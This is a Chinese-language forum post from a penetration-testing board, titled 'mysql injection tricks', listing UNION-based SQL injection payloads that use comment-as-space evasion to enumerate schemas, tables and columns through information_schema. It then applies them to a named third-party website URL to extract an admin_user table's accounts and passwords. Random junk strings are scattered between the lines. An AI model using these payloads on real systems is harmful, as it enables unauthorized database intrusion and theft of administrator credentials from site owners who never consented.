中国网络渗透测试联盟
标题:
mysql注入技巧
[打印本页]
作者:
admin
时间:
2012-9-13 16:29
标题:
mysql注入技巧
查库
$ p3 M# J- K- Q9 h' U/ I5 O- r* u3 C
! a5 x \ U2 w+ J
id=-1 union select 1,..,SCHEMA_NAME,n from/**/information_schema.SCHEMATA limit 1,1/*
+ b, r$ X+ `# E( x- X( {
+ ~$ @2 u+ E; [8 O% _
查表
' _6 G6 S3 G8 W3 |$ |! G! @5 ~
( ^, K0 j5 W/ P
id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
7 W* T! [1 C8 k( V; {$ n, J
* g; ^6 Q# C; g
查段
! n/ y! N! Z% Y. p( {. P! E m& ?5 X; w
4 k! n! _! z, a! a- x6 ^7 t! V
id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
* S! a: e$ ?! }+ J
1 @% u' H8 a p. P; G
9 x' i3 g n! d* l. ~
mysql5高级注入方法暴表
, P) T* [6 u2 \3 s3 m# J
( l! X( Z9 M% N: E" V! z
例子如下:
3 ^1 i2 R5 k9 Z' u4 V6 N
% l! `+ q7 G- f4 k9 l
1.爆表
E9 l% e+ f U' m
http://www.political-security.com/ccaus_content.php?ccausid=13240/
**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/* (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
& d$ ?1 w2 |- H2 \+ e
这样爆到第4个时出现了admin_user表。
6 r! {! g$ h$ [' Q
* A. K, ~- j$ X
2.暴字段
6 d7 C* m5 `. O2 \
http://www.political-security.com/ccaus_content.php?ccausid=13240/
**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
% Q( Y& Z' P G1 Q7 r
8 A$ A& Q: c: }
/ q$ m) r) F9 U4 A
3.爆密码
3 b, @- q0 `" Q* G( b
http://www.political-security.com/ccaus_content.php?ccausid=13240/
**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*
1 {/ \$ ]9 S0 D. Q/ y/ m l _7 }% A# z
9 `0 U" [ h& n# c4 [
{( r- h# c/ h8 m1 Q
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2